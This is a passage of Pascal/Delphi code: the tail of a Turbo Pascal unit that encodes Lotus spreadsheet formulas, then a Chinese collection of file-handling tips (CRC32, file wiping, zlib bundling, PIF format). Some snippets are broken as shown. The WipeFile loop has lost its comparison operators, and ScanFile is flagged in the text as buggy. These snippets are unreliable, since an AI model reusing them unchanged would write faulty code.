nro : string; {nro = numero de ffml}

cfml, {cfml = valor de columna en formula}

ffml : word; {ffml = " " fila " " }

nfml, {nfml = " " constante " " }

i, {i = indice de 'v' (formula) }

ii, {ii = " " 's' " }

index, {index= " " Fml}

j,ret, {usados para convertir a numeros}

len, {len = longitud de 'v'}

lens : integer; {lens = " " 's'}

sym : symbol; {sym = ultimo simbolo leido}

symsig, {usados para analizar formula para }

syminifac : consym; {grabarla con notacion posfija }

z : byte; {indice para inicializar array}

Procedure CalculaDir(var Reg : Formula);

var

veces : integer;

(* Primero, se decide si cfml es absoluta o relativa. Si es absoluta

calcula el valor real. Si es relativa primero chequea si cfml<col.

Si cfml<col le resta cfml a 49152 (C000); este numero es usado por

Lotus para calcular la direccion de una celda a la izquierda de

donde esta parado. Si col<=cfml le suma cfml a 32768 para encender

el MSB que indica que es relativa (la C tambien lo prende).

Segundo, se procede de la misma manera con ffml para determinar si

es absoluta o relativa, y despues se calcula la direccion en base

a eso y a la relacion de ffml con fil.

*)

begin

with Reg do

begin

if v[i]='$' then {calcula la columna (cfml)}

begin

inc(i);

cfml:=ord(v[i])-ord('A');

inc(i);

while (v[i] in ['A'..'Z']) and (len>=i) do

begin

cfml:=(cfml+1)*26+ord(v[i])-ord('A');

inc(i);

end;

end

else

begin

if (ord(v[i])-ord('A') < col) then

begin

cfml:=49152-col+(ord(v[i])-ord('A'));

inc(i);

veces:=1;

while (v[i] in ['A'..'Z']) and (len>=i) do

begin

cfml:=49152-col+(26*veces)+(ord(v[i])-ord('A'));

cfml:=cfml+((ord(v[i-1])-ord('A'))*26);

inc(i);

inc(veces);

end;

end

else

begin

cfml:=ord(v[i])-ord('A');

inc(i);

while (v[i] in ['A'..'Z']) and (len>=i) do

begin

cfml:=(cfml+1)*26+ord(v[i])-ord('A');

inc(i);

end;

cfml:=cfml+32768-col;

end;

end;

Fml[index]:=Lo(cfml); {graba cfml}

inc(index); {que posee }

Fml[index]:=Hi(cfml); {dos bytes }

inc(index);

if v[i]='$' then {calcula la fila (ffml)}

begin

inc(i);

fabs:=true;

end

else

fabs:=false;

j:=i;

while (v[i] in ['0'..'9']) and (len>=i) do

begin

inc(i);

end;

nro:=copy(v,j,i-j);

val(nro,ffml,ret);

if fabs then {siempre se resta 1 por estar en base 0}

begin

if ffml>0 then ffml:=ffml-1;

end

else

begin

if fil<ffml then

begin

ffml:=32768+abs(ffml-fil)-1;

end

else

begin

ffml:=49152-abs(ffml-fil)-1;

end;

end;

Fml[index]:=Lo(ffml); {graba ffml}

inc(index); {que posee }

Fml[index]:=Hi(ffml); {dos bytes }

inc(index);

end;

end;

Procedure CalculaNum(var Reg : Formula);

var

VDoble : array[1..8] of byte;

dfml : Double absolute VDoble;

d : real;

esreal : boolean;

k : byte;

numero : longint;

codigo : integer;

begin

with Reg do

begin

esreal:=false;

j:=i;

while (v[i] in ['0'..'9','.']) and (len>=i) do

begin

if v[i]='.' then esreal:=true;

inc(i);

end;

nro:=copy(v,j,i-j);

{R-}

val(nro,numero,codigo);

{R+}

if (codigo=0) and (numero>=-32768) and (numero<=32767) then

esreal:=false

else

esreal:=true;

if esreal then

begin

val(nro,d,ret); {convierte en real doble}

dfml:=d;

{ConvRD(d,dfml);}

Fml[index]:=0; {0 = indica que sigue una constante}

inc(index); { real doble precision (8 bytes)}

for k:=1 to 8 do

begin

Fml[index]:=VDoble[k]; {graba dfml}

inc(index); {son ocho bytes}

end;

end

else

begin

val(nro,nfml,ret); {convierte en entero}

Fml[index]:=5; {5 = indica que sigue una constante }

inc(index); { entera con signo (2 bytes) }

Fml[index]:=Lo(nfml); {graba nfml}

inc(index); {son dos bytes}

Fml[index]:=Hi(nfml);

inc(index);

end;

dec(i);

end;

end;

Procedure CalculaRan(var Reg : Formula);

begin

with Reg do

begin

Fml[index]:=2; {2 = codigo de rango; le sigue 8 bytes}

inc(index); { que son (col1fil1..col2fil2) }

CalculaDir(Reg); {calcula col1fil1}

i:=i+2; {salta los 2 .. }

CalculaDir(Reg); {calcula col2fil2}

end;

end;

Procedure CalculaArr(var Reg : Formula);

{** SOLO CODIFICA @TRUE,@FALSE,@SUM(COL1FIL1..COL2FIIL2) **}

var

func,dir : string; {func = string del @}

{dir = del rango}

N_arg,nc : byte; {N_arg = cantidad de argumentos}

{nc = numero de codigo (T,F,S)}

begin

with Reg do

begin

inc(i);

case v[i] of

'F' : nc:=51;

'T' : nc:=52;

'S' : nc:=80;

end;

while (v[i] in ['A'..'Z']) and (len>=i) do inc(i);

inc(i);

if nc=80 then

begin

CalculaRan(Reg); {calcula el rango (col1fil1..col2fil2}

N_arg:=1; {hay un solo argumento}

end;

Fml[index]:=nc;

inc(index);

if nc=80 then

begin

Fml[index]:=N_arg; {graba numero de argumentos}

inc(index);

end;

end;

end;

Procedure TraerChar;

begin

inc(i); {carga el simbolo para }

if len>=i then {la recursividad }

begin

case v[i] of

'A'..'Z','$' : sym:=cel;

'0'..'9','.' : sym:=num;

'@' : sym:=arr;

'+' : sym:=mas;

'-' : sym:=men;

'*' : sym:=por;

'/' : sym:=dvs;

'^' : sym:=pot;

'(' : sym:=pa1;

')' : sym:=pa2;

end;

end;

end;

Procedure Expresion(symsig : consym; var Reg : Formula);

var

opsuma:symbol;

Procedure Termino(symsig : consym; var Reg : Formula);

var

opmul:symbol;

Procedure Factor(symsig : consym; var Reg : Formula);

var

opexp:symbol;

Procedure Exponente(symsig : consym; var Reg : Formula);

begin{Exponente}

while (sym in syminifac) and (len>=i) do

begin

case sym of

num : begin

CalculaNum(Registro);

TraerChar;

end;

cel : begin

Reg.Fml[index]:=1;

inc(index);

CalculaDir(Registro);

dec(i);

TraerChar;

end;

arr : begin

CalculaArr(Registro);

TraerChar;

end;

else

begin

if sym=pa1 then

begin

TraerChar;

Expresion([pa2]+symsig,Registro);

if sym=pa2 then

begin

Reg.Fml[index]:=4; {4 = simbolo '(' }

inc(index);

TraerChar;

end;

end;

end;

end;

end;

end;{Exponente}

begin{Factor}

Exponente(symsig+[pot],Registro);

while (sym=pot) and (len>=i) do

begin

opexp:=sym;

TraerChar;

Exponente(symsig+[pot],Registro);

if opexp=pot then

begin

Reg.Fml[index]:=13; {13 = simbolo '^' }

inc(index);

end;

end;

end;{Factor}

begin{Termino}

Factor(symsig+[por,dvs],Registro);

while (sym in [por,dvs]) and (len>=i) do

begin

opmul:=sym;

TraerChar;

Factor(symsig+[por,dvs],Registro);

if (opmul=por) or (opmul=dvs) then

begin

if opmul=por then Reg.Fml[index]:=11 {11 = simbolo '*' }

else

Reg.Fml[index]:=12; {12 = simbolo '/' }

inc(index);

end;

end;

end;{Termino}

begin{Expresion}

(* Este es el primero de cuatro procedimientos recursivos (Expresion,

Termino, Factor y Exponente) que se usan para transformar la formula

en una expresion en notacion posfija, tal como se debe grabar. La

tecnica consiste en retrasar la transmision del operador aritmetico.

Ejemplo: a+(b*c)^d ==> abc*(d^+ .

Expresion analiza si es suma o resta. Luego llama a Termino. Al

volver trae el proximo dato y llama otra vez a Termino. Al volver

genera el codigo de suma o resta si hubo.

Termino llama a Factor. Al volver trae el proximo dato y llama otra

vez a Factor. Al volver genera el codigo de multiplicacion o division

si hubo.

Factor llama a Exponente. Al volver trae el proximo dato y llama

otra vez a Exponente. Cuando vuele genera el codigo de exponenciacion

si hubo.

Exponente analiza si el valor es un numero, una celda, un arroba o

un parentesis. Si es un parentesis, vuelve a llamar a Expresion para

calcular el contenido este; sino genera el codigo correspondiente.

*)

if sym in [mas,men] then

begin

opsuma:=sym;

TraerChar;

Termino(symsig+[mas,men],Registro);

if opsuma=men then

begin

Reg.Fml[index]:=8; {8 = simbolo '-' unario}

inc(index);

end;

end

else

Termino(symsig+[mas,men],Registro);

while (sym in [mas,men]) and (len>=i) do

begin

opsuma:=sym;

TraerChar;

Termino(symsig+[mas,men],Registro);

if (opsuma=mas) or (opsuma=men) then

begin

if opsuma=mas then Reg.Fml[index]:=9 { 9 = simbolo '+' }

else

Reg.Fml[index]:=10; {10 = simbolo '-' }

inc(index);

end;

end;

end;{Expresion}

Begin

with Registro do

begin

Cod:=16; {16= formula}

Col:=c;

Fil:=f;

Frm:=0; {Comienzo con 0}

(*

if p=true then Frm:=Frm+128; {Si se protege se prende el MSB}

ch:=UpCase(ch); {Veo que formato se quiere y prendo }

{los bits respectivos }

case ch of

'F' : Frm:=Frm+ 0; {'F' ==> decimales fijos }

'S' : Frm:=Frm+ 16; {'S' ==> notacion cientifica}

'C' : Frm:=Frm+ 32; {'C' ==> moneda corriente }

'P' : Frm:=Frm+ 48; {'P' ==> porcentaje }

'M' : Frm:=Frm+ 64; {',' ==> miles con comas }

'O' : Frm:=Frm+112; {'O' ==> otros }

end;

Frm:=Frm+d; {Si ch<>'O' ==> d= cant. de decimales}

{Si ch= 'O' ==> d= 1 --> general }

{ 2 --> DD/MMM/AA }

{ 3 --> DD/MMM }

{ 4 --> MM/AA }

{ 5 --> texto }

{ 6 --> hidden }

{ 7 --> date; HH-MM-SS}

{ 8 --> date; HH-MM }

{ 9 --> date; int'l 1 }

{ 10 --> date; int'l 2 }

{ 11 --> time; int'l 1 }

{ 12 --> time; int'l 2 }

{ 13-14 --> no utilizado}

{ 15 --> default }

*)

Res:=C00;

{ for z:=1 to 8 do Res[z]:=C00;} {se modifica automaticamente cuando se recalcula y regraba}

lens:=length(s); {convierto todo a mayusculas}

for ii:=1 to lens do s[ii]:=UpCase(s[ii]);

i:=1;

v:='';

for ii:=1 to lens do {paso el string 's' al string 'v' }

begin {eliminando los espacios en blanco}

if s[ii]<>' ' then

begin

v:=v+s[ii];

inc(i);

end;

end;

len:=i-1;

i:=0;

index:=1;

syminifac:=[cel,num,arr,pa1];

symsig:=syminifac;

TraerChar; {toma el primer caracter de formula}

Expresion(symsig,Registro); {analiza y graba toda la formula}

Fml[index]:=3; {3 = fin de formula}

Tma:=index; {tamanio de Fml}

Lon:=15+Tma; {longitud de dato}

BlockWrite(ALotus,Formato[1],19+index);

end;

End;

END.


如何读取超过255个字符的一行
我们知道Readln可以读取一行文件，然而，好像有255个字符的长度限制？

ReadLn可以接受array[0..N] of char的数组作为Buffer，读取得字符被放到这个Buffer，并且在最后添加一个#0字符！真正的限制是：编译器需要在编译的时候确定这个缓冲区的大小！因此导致不能用pchar变量并且动态分配内存的方法解决问题，因此你可以采取下面的方法：

Type

TLine = Array [0..1024] of Char; {use longest line you may encounter here}

PLine = ^TLine;

Var

pBuf: PLine;

...

New( pBuf );

...

ReadLn( F, pBuf^ );

然后，你可以用pchar(pBuf)来得到字符串~~~~~~~~~：）

当然，你可以不用指针，而直接用TLine或者其他等价的数组，不过我倾向于在堆中分配任何大于4Byte的东西~~~~~~~~~：）[Lloyd's语]


Delphi中如何知道Share已经装载
如何知道Share.Exe已经运行？

function IsShareLoaded: Boolean;

var

f: file of word;

data: word;

IsShareInstalled: Boolean;

begin

assign(f, 'im_here.not');

rewrite(f);

write(f, data);

asm

mov IsShareInstalled, true

mov bx, TFileRec(f).handle

xor cx, cx

xor dx, dx

mov si, 0

mov di, 2

mov al, 0

mov ah, $5C

int $21

jc @@NoError

dec IsShareInstalled

@@NoError:

end; {asm section}

result := IsShareInstalled;

close(f);

erase(f);

end;


判断是否有某个属性
function HasAttr(const FileName: string; Attr: Word): Boolean;

begin

Result := (FileGetAttr(FileName) and Attr) = Attr;

end;


一个彻底清除文件的程序

附件>>>> FileWiper.rar


文件是否正在使用
function IsFileInUse(fName : string ) : boolean;

var

HFileRes : HFILE;

begin

Result := false;

if not FileExists(fName) then

exit;

HFileRes := CreateFile(pchar(fName), GENERIC_READ or GENERIC_WRITE,0, nil, OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, 0);

Result := (HFileRes = INVALID_HANDLE_VALUE);

if not Result then

CloseHandle(HFileRes);

end;


替换文件
我们知道，在Win9x下面可以利用Wininit.ini文件来替换文件，那么在NT/2000/XP下如何做呢？

可以利用MoveFileEx() API来做，记住：必须用MOVEFILE_DELAY_UNTIL_REBOOT标志。


检测可执行文件类型
可以使用API函数：SHGetFileInfo，参数：SHGFI_EXETYPE

************************************

Here is a function from Peter Below:

type

TExeType = (etUnknown, etDOS, etWinNE {16-bit}, etWinPE {32-bit});

function GetExeType(const FileName: string): TExeType;

{ func to return the type of executable or dll (DOS, 16-bit, 32-bit). }

(**************************************************************

Usage:

with OpenDialog1 do

if Execute then

begin

Label1.Caption := FileName;

Label2.Caption := ExeStrings[GetExetype(FileName)];

end;

- or -

case GetExeType(OpenDialog1.FileName) of

etUnknown: Label3.Caption := 'Unknown file type';

etDOS : Label3.Caption := 'DOS executable';

etWinNE : {16-bit} Label3.Caption := 'Windows 16-bit executable';

etWinPE : {32-bit} Label3.Caption := 'Windows 32-bit executable';

end;

***************************************************************)

var

Signature,

WinHdrOffset: Word;

fexe: TFileStream;

begin

Result := etUnknown;

try

fexe := TFileStream.Create(FileName, fmOpenRead or fmShareDenyNone);

try

fexe.ReadBuffer(Signature, SizeOf(Signature));

if Signature = $5A4D { 'MZ' } then

begin

Result := etDOS;

fexe.Seek($18, soFromBeginning);

fexe.ReadBuffer(WinHdrOffset, SizeOf(WinHdrOffset));

if WinHdrOffset >= $40 then

begin

fexe.Seek($3C, soFromBeginning);

fexe.ReadBuffer(WinHdrOffset, SizeOf(WinHdrOffset));

fexe.Seek(WinHdrOffset, soFrombeginning);

fexe.ReadBuffer(Signature, SizeOf(Signature));

if Signature = $454E { 'NE' } then

Result := etWinNE

else

if Signature = $4550 { 'PE' } then

Result := etWinPE;

end;

end;

finally

fexe.Free;

end;

except

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

if OpenDialog1.Execute then

case GetExeType(OpenDialog1.FileName) of

etUnknown: Label_ExeType.Caption := 'Unknown file type';

etDOS : Label_ExeType.Caption := 'DOS executable';

etWinNE : Label_ExeType.Caption := 'Windows 16-bit executable';

etWinPE : Label_ExeType.Caption := 'Windows 32-bit executable';

end;

end;


支持通配符的文件删除
//删除当前目录下的一类文件：

{1, 支持通配符，如 *.txt, *.* 等

2, 不能删除文件夹

3, 如果要删除某文件夹下的文件， 不许更改

当前路径到改文件夹下，如：

//var CurrDir: string;

CurrDir :=GetCurrentDir;

chdir('a_dir');

DelSomeFiles('*.*');

chdir(CurrDir);

}

Procedure DelSomeFiles(fn: string);

var

SearchRec: TSearchRec;

begin

FindFirst(fn, faAnyFile, SearchRec);

repeat

if FileExists(SearchRec.Name) then

begin

FileSetAttr(SearchRec.Name,0); //修改文件属性为普通属性值

DeleteFile(SearchRec.Name); //删除文件

end;

until (FindNext(SearchRec)<>0);

FindClose(SearchRec);

end;


检测文件是否是ASCII文件
check if a file has an ASCII format?

function isAscii(NomeFile: string): Boolean;

const

SETT = 2048;

var

i: Integer;

F: file;

a: Boolean;

TotSize, IncSize, ReadSize: Integer;

c: array[0..Sett] of Byte;

begin

if FileExists(NomeFile) then

begin

{$I-}

AssignFile(F, NomeFile);

Reset(F, 1);

TotSize := FileSize(F);

IncSize := 0;

a := True;

while (IncSize < TotSize) and (a = True) do

begin

ReadSize := SETT;

if IncSize + ReadSize > TotSize then ReadSize := TotSize - IncSize;

IncSize := IncSize + ReadSize;

BlockRead(F, c, ReadSize);

// Iterate

for i := 0 to ReadSize - 1 do

if (c[i] < 32) and (not (c[i] in [9, 10, 13, 26])) then a := False;

end; { while }

CloseFile(F);

{$I+}

if IOResult <> 0 then Result := False

else

Result := a;

end;

end;


获取文件的拥有者
// When you create a file or directory, you become the owner of it.

// With GetFileOwner you get the owner of a file.

function GetFileOwner(FileName: string;

var Domain, Username: string): Boolean;

var

SecDescr: PSecurityDescriptor;

SizeNeeded, SizeNeeded2: DWORD;

OwnerSID: PSID;

OwnerDefault: BOOL;

OwnerName, DomainName: PChar;

OwnerType: SID_NAME_USE;

begin

GetFileOwner := False;

GetMem(SecDescr, 1024);

GetMem(OwnerSID, SizeOf(PSID));

GetMem(OwnerName, 1024);

GetMem(DomainName, 1024);

try

if not GetFileSecurity(PChar(FileName),

OWNER_SECURITY_INFORMATION,

SecDescr, 1024, SizeNeeded) then

Exit;

if not GetSecurityDescriptorOwner(SecDescr,

OwnerSID, OwnerDefault) then

Exit;

SizeNeeded := 1024;

SizeNeeded2 := 1024;

if not LookupAccountSID(nil, OwnerSID, OwnerName,

SizeNeeded, DomainName, SizeNeeded2, OwnerType) then

Exit;

Domain := DomainName;

Username := OwnerName;

finally

FreeMem(SecDescr);

FreeMem(OwnerName);

FreeMem(DomainName);

end;

GetFileOwner := True;

end;

procedure TForm1.Button1Click(Sender: TObject);

var

Domain, Username: string;

begin

GetFileOwner('YourFile.xyz', domain, username);

ShowMessage(username + '@' + domain);

end;

// Note: Only works unter NT.


获取临时文件名
下面的函数返回一个临时文件名：

{ Create:是否创建文件，PreFix：文件名前缀，Ext：文件扩展名 }

function GetTmpFileName(Create: Boolean = False; Prefix: string = '~~'; Ext: string = '.TMP'):

string;

var

Buffer : string;

Len : integer;

UID : integer;

begin

Len := GetTempPath(0, nil) + 1; { Get Temp Path Length }

SetLength(Buffer, Len); { Get Memory for Buffer }

GetTempPath(Len, @Buffer[1]); { Get Temp Path }

SetLength(Result, MAX_PATH);

Randomize;

if Create then

UID := 0

else

UID := Random($FFFFFFFF) + 1;

repeat

GetTempFileName(pchar(Buffer), pchar(Prefix), UID, @Result[1]);

Result := ChangeFileExt(Result, Ext);

until (not FileExists(Result)) or Create;

end;


从文件中查找字符串
下面的函数好像有BUG：

function ScanFile(const FileName: string; const Sub: string; caseSensitive: Boolean): Longint;

const

BufferSize = $8001; { 32K+1 bytes }

var

pBuf, pEnd, pScan, pPos: PChar;

filesize : LongInt;

bytesRemaining : LongInt;

bytesToRead : Integer;

F : file;

SearchFor : PChar;

oldMode : Word;

begin

{ assume failure }

Result := -1;

if (Length(Sub) = 0) or (Length(FileName) = 0) then Exit;

SearchFor := nil;

pBuf := nil;

{ open file as binary, 1 byte recordsize }

AssignFile(F, FileName);

oldMode := FileMode;

FileMode := 0; { read-only access }

Reset(F, 1);

FileMode := oldMode;

try { allocate memory for buffer and pchar search string }

SearchFor := StrAlloc(Length(Sub) + 1);

StrPCopy(SearchFor, Sub);

if not caseSensitive then { convert to upper case }

AnsiUpper(SearchFor);

GetMem(pBuf, BufferSize);

filesize := System.Filesize(F);

bytesRemaining := filesize;

pPos := nil;

while bytesRemaining > 0 do

begin

{ calc how many bytes to read this round }

if bytesRemaining >= BufferSize then

bytesToRead := Pred(BufferSize)

else

bytesToRead := bytesRemaining;

{ read a buffer full and zero-terminate the buffer }

BlockRead(F, pBuf^, bytesToRead, bytesToRead);

pEnd := @pBuf[bytesToRead];

pEnd^ := #0;

pScan := pBuf;

while pScan < pEnd do

begin

if not caseSensitive then { convert to upper case }

AnsiUpper(pScan);

pPos := StrPos(pScan, SearchFor); { search for substring }

if pPos <> nil then

begin { Found it! }

Result := FileSize - bytesRemaining + Longint(pPos) - Longint(pBuf);

Break;

end;

pScan := StrEnd(pScan);

Inc(pScan);

end;

if pPos <> nil then Break;

bytesRemaining := bytesRemaining - bytesToRead;

if bytesRemaining > 0 then

begin

Seek(F, FilePos(F) - Length(Sub));

bytesRemaining := bytesRemaining + Length(Sub);

end;

end; { While }

finally

CloseFile(F);

if SearchFor <> nil then StrDispose(SearchFor);

if pBuf <> nil then FreeMem(pBuf, BufferSize);

end;

end; { ScanFile }


文件的CRC32校验
const

Table: array[0..255] of DWORD =

($00000000, $77073096, $EE0E612C, $990951BA,

$076DC419, $706AF48F, $E963A535, $9E6495A3,

$0EDB8832, $79DCB8A4, $E0D5E91E, $97D2D988,

$09B64C2B, $7EB17CBD, $E7B82D07, $90BF1D91,

$1DB71064, $6AB020F2, $F3B97148, $84BE41DE,

$1ADAD47D, $6DDDE4EB, $F4D4B551, $83D385C7,

$136C9856, $646BA8C0, $FD62F97A, $8A65C9EC,

$14015C4F, $63066CD9, $FA0F3D63, $8D080DF5,

$3B6E20C8, $4C69105E, $D56041E4, $A2677172,

$3C03E4D1, $4B04D447, $D20D85FD, $A50AB56B,

$35B5A8FA, $42B2986C, $DBBBC9D6, $ACBCF940,

$32D86CE3, $45DF5C75, $DCD60DCF, $ABD13D59,

$26D930AC, $51DE003A, $C8D75180, $BFD06116,

$21B4F4B5, $56B3C423, $CFBA9599, $B8BDA50F,

$2802B89E, $5F058808, $C60CD9B2, $B10BE924,

$2F6F7C87, $58684C11, $C1611DAB, $B6662D3D,

$76DC4190, $01DB7106, $98D220BC, $EFD5102A,

$71B18589, $06B6B51F, $9FBFE4A5, $E8B8D433,

$7807C9A2, $0F00F934, $9609A88E, $E10E9818,

$7F6A0DBB, $086D3D2D, $91646C97, $E6635C01,

$6B6B51F4, $1C6C6162, $856530D8, $F262004E,

$6C0695ED, $1B01A57B, $8208F4C1, $F50FC457,

$65B0D9C6, $12B7E950, $8BBEB8EA, $FCB9887C,

$62DD1DDF, $15DA2D49, $8CD37CF3, $FBD44C65,

$4DB26158, $3AB551CE, $A3BC0074, $D4BB30E2,

$4ADFA541, $3DD895D7, $A4D1C46D, $D3D6F4FB,

$4369E96A, $346ED9FC, $AD678846, $DA60B8D0,

$44042D73, $33031DE5, $AA0A4C5F, $DD0D7CC9,

$5005713C, $270241AA, $BE0B1010, $C90C2086,

$5768B525, $206F85B3, $B966D409, $CE61E49F,

$5EDEF90E, $29D9C998, $B0D09822, $C7D7A8B4,

$59B33D17, $2EB40D81, $B7BD5C3B, $C0BA6CAD,

$EDB88320, $9ABFB3B6, $03B6E20C, $74B1D29A,

$EAD54739, $9DD277AF, $04DB2615, $73DC1683,

$E3630B12, $94643B84, $0D6D6A3E, $7A6A5AA8,

$E40ECF0B, $9309FF9D, $0A00AE27, $7D079EB1,

$F00F9344, $8708A3D2, $1E01F268, $6906C2FE,

$F762575D, $806567CB, $196C3671, $6E6B06E7,

$FED41B76, $89D32BE0, $10DA7A5A, $67DD4ACC,

$F9B9DF6F, $8EBEEFF9, $17B7BE43, $60B08ED5,

$D6D6A3E8, $A1D1937E, $38D8C2C4, $4FDFF252,

$D1BB67F1, $A6BC5767, $3FB506DD, $48B2364B,

$D80D2BDA, $AF0A1B4C, $36034AF6, $41047A60,

$DF60EFC3, $A867DF55, $316E8EEF, $4669BE79,

$CB61B38C, $BC66831A, $256FD2A0, $5268E236,

$CC0C7795, $BB0B4703, $220216B9, $5505262F,

$C5BA3BBE, $B2BD0B28, $2BB45A92, $5CB36A04,

$C2D7FFA7, $B5D0CF31, $2CD99E8B, $5BDEAE1D,

$9B64C2B0, $EC63F226, $756AA39C, $026D930A,

$9C0906A9, $EB0E363F, $72076785, $05005713,

$95BF4A82, $E2B87A14, $7BB12BAE, $0CB61B38,

$92D28E9B, $E5D5BE0D, $7CDCEFB7, $0BDBDF21,

$86D3D2D4, $F1D4E242, $68DDB3F8, $1FDA836E,

$81BE16CD, $F6B9265B, $6FB077E1, $18B74777,

$88085AE6, $FF0F6A70, $66063BCA, $11010B5C,

$8F659EFF, $F862AE69, $616BFFD3, $166CCF45,

$A00AE278, $D70DD2EE, $4E048354, $3903B3C2,

$A7672661, $D06016F7, $4969474D, $3E6E77DB,

$AED16A4A, $D9D65ADC, $40DF0B66, $37D83BF0,

$A9BCAE53, $DEBB9EC5, $47B2CF7F, $30B5FFE9,

$BDBDF21C, $CABAC28A, $53B39330, $24B4A3A6,

$BAD03605, $CDD70693, $54DE5729, $23D967BF,

$B3667A2E, $C4614AB8, $5D681B02, $2A6F2B94,

$B40BBE37, $C30C8EA1, $5A05DF1B, $2D02EF8D);

// type Buffer = Array[1..65521] of byte;

{largest buffer that can be allocated on heap }

procedure CalcCRC32(FileName: string; var CRC32: DWORD);

var

F: file;

BytesRead: DWORD;

Buffer: array[1..65521] of Byte;

i: Word;

begin

FileMode := 0;

CRC32 := $ffffffff;

{$I-}

AssignFile(F, FileName);

Reset(F, 1);

if IOResult = 0 then

begin

repeat

BlockRead(F, Buffer, SizeOf(Buffer), BytesRead);

for i := 1 to BytesRead do

CRC32 := (CRC32 shr 8) xor Table[Buffer[i] xor (CRC32 and $000000FF)];

until BytesRead = 0;

end;

CloseFile(F);

{$I+}

CRC32 := not CRC32;

end;

procedure TForm1.Button1Click(Sender: TObject);

var

crc: DWORD;

begin

CalcCRC32('d:\test.txt', crc);

if crc <> 0 then

ShowMessage(IntToHex(crc, 6));

end;


彻底清除文件
Wipe File?

procedure WipeFile(FileName: string);

var

buffer: array [0..4095] of Byte;

max, n: LongInt;

i: Integer;

fs: TFileStream;

procedure RandomizeBuffer;

var

i: Integer;

begin

for i := Low(buffer) to High(buffer) do

buffer[i] := Random(256);

end;

begin

fs := TFilestream.Create(FileName, fmOpenReadWrite or fmShareExclusive);

try

for i := 1 to 3 do

begin

RandomizeBuffer;

max := fs.Size;

fs.Position := 0;

while max 0 do

begin

if max SizeOf(buffer) then

n := SizeOf(buffer)

else

n := max;

fs.Write(Buffer, n);

max := max - n;

end;

FlushFileBuffers(fs.Handle);

end;

finally

fs.Free;

end;

Deletefile(FileName);

end;


度取和以十六进制显示文件
read a binary file and display the byte values as ASCII?

author:P.Below

type

TDisplayProc = procedure(const s: string) of object;

procedure ShowBinary(var Data; Count: Cardinal; DispProc: TDisplayProc);

implementation

procedure ShowBinary(var Data; Count: Cardinal; DispProc: TDisplayProc);

var

line: string[80];

i: Cardinal;

p: PChar;

nStr: string[4];

const

posStart = 1;

binStart = 7;

ascStart = 57;

HexChars: PChar = '0123456789ABCDEF';

begin

p := @Data;

line := '';

for i := 0 to Count - 1 do

begin

if (i mod 16) = 0 then

begin

if Length(line) > 0 then

DispProc(line);

FillChar(line, SizeOf(line), ' ');

line[0] := Chr(72);

nStr := Format('%4.4X', [i]);

Move(nStr[1], line[posStart], Length(nStr));

line[posStart + 4] := ':';

end;

if p[i] >= ' ' then

line[i mod 16 + ascStart] := p[i]

else

line[i mod 16 + ascStart] := '.';

line[binStart + 3 * (i mod 16)] := HexChars[(Ord(p[i]) shr 4) and $F];

line[binStart + 3 * (i mod 16) + 1] := HexChars[Ord(p[i]) and $F];

end;

DispProc(line);

end;

procedure TForm1.Display(const S: string);

begin

Memo1.Lines.Add(S);

end;

procedure TForm1.Button1Click(Sender: TObject);

var

ms: TMemoryStream;

begin

if Opendialog1.Execute then

begin

ms := TMemoryStream.Create;

try

ms.LoadFromfile(OpenDialog1.FileName);

ShowBinary(ms.Memory^, ms.Size, Display);

finally

ms.Free

end;

end;

end;


多个文件压缩/解压缩到一个文件
...concatenate and compress files into one destination file?

Author: Robert Kuhlmann

uses

Zlib;

procedure CompressFiles(Files : TStrings; const Filename : String);

var

infile, outfile, tmpFile : TFileStream;

compr : TCompressionStream;

i,l : Integer;

s : String;

begin

if Files.Count > 0 then

begin

outFile := TFileStream.Create(Filename,fmCreate);

try

{ the number of files }

l := Files.Count;

outfile.Write(l,SizeOf(l));

for i := 0 to Files.Count-1 do

begin

infile := TFileStream.Create(Files[i],fmOpenRead);

try

{ the original filename }

s := ExtractFilename(Files[i]);

l := Length(s);

outfile.Write(l,SizeOf(l));

outfile.Write(s[1],l);

{ the original filesize }

l := infile.Size;

outfile.Write(l,SizeOf(l));

{ compress and store the file temporary}

tmpFile := TFileStream.Create('tmp',fmCreate);

compr := TCompressionStream.Create(clMax,tmpfile);

try

compr.CopyFrom(infile,l);

finally

compr.Free;

tmpFile.Free;

end;

{ append the compressed file to the destination file }

tmpFile := TFileStream.Create('tmp',fmOpenRead);

try

outfile.CopyFrom(tmpFile,0);

finally

tmpFile.Free;

end;

finally

infile.Free;

end;

end;

finally

outfile.Free;

end;

DeleteFile('tmp');

end;

end;

procedure DecompressFiles(const Filename, DestDirectory : String);

var

dest,s : String;

decompr : TDecompressionStream;

infile, outfile : TFilestream;

i,l,c : Integer;

begin

// IncludeTrailingPathDelimiter (D6/D7 only)

dest := IncludeTrailingPathDelimiter(DestDirectory);

infile := TFileStream.Create(Filename,fmOpenRead);

try

{ number of files }

infile.Read(c,SizeOf(c));

for i := 1 to c do

begin

{ read filename }

infile.Read(l,SizeOf(l));

SetLength(s,l);

infile.Read(s[1],l);

{ read filesize }

infile.Read(l,SizeOf(l));

{ decompress the files and store it }

s := dest+s; //include the path

outfile := TFileStream.Create(s,fmCreate);

decompr := TDecompressionStream.Create(infile);

try

outfile.CopyFrom(decompr,l);

finally

outfile.Free;

decompr.Free;

end;

end;

finally

infile.Free;

end;

end;


Pif文件格式
PIF文件格式

From Borland NewsGroup:Rimvydas Paulavicius <PauLita@post.5ci.lt>

type

{Sergey Merzlikin: smsoft@chat.ru}

section_heading_record_type = record

Name: array[0..15] of char; {ASCIZ name of the section}

NextHdOfs: word; {Offset of heading of the next section}

{from the beginning of the file}

NextDataOfs: word; {Offset of heading of the section data}

{from the beginning of the file}

Len: word; {Section data length}

end;

section_heading_record_ref_type = ^section_heading_record_type;

windows_386_section_type = packed record

MaxMem: word; {Max amount of conventional memory in KB (0280h)}

ReqMem: word; {Required amount of conventional memory in KB}

ActivePriority: word; {0064h}

BackgroundPriority: word; {0032h}

MaxEMS: word; {Max amount of EMS memory in KB}

{FFFFh in 32-bit OS, 0400h in Windows 3.x}

ReqEMS: word;

MaxXMS: word; {Max amount of XMS memory in KB}

{FFFFh in 32-bit OS, 0400h in Windows 3.x}

ReqXMS: word;

Flags1: longint;

{00000001h Permit an exit when is active}

{default 00021002h}

{00000002h Continuation of work in background}

{00000004h Exclusive run mode}

{00000008h Full screen mode}

{00000020h not use Alt+Tab}

{00000040h not use Alt+Esc}

{00000080h not use Alt+Space}

{00000100h not use Alt+Enter}

{00000200h not use Alt+PrtScr}

{00000400h not use PrtScr}

{00000800h not use Ctrl+Esc}

{00001000h Detect idle time}

{00002000h Not use HMA}

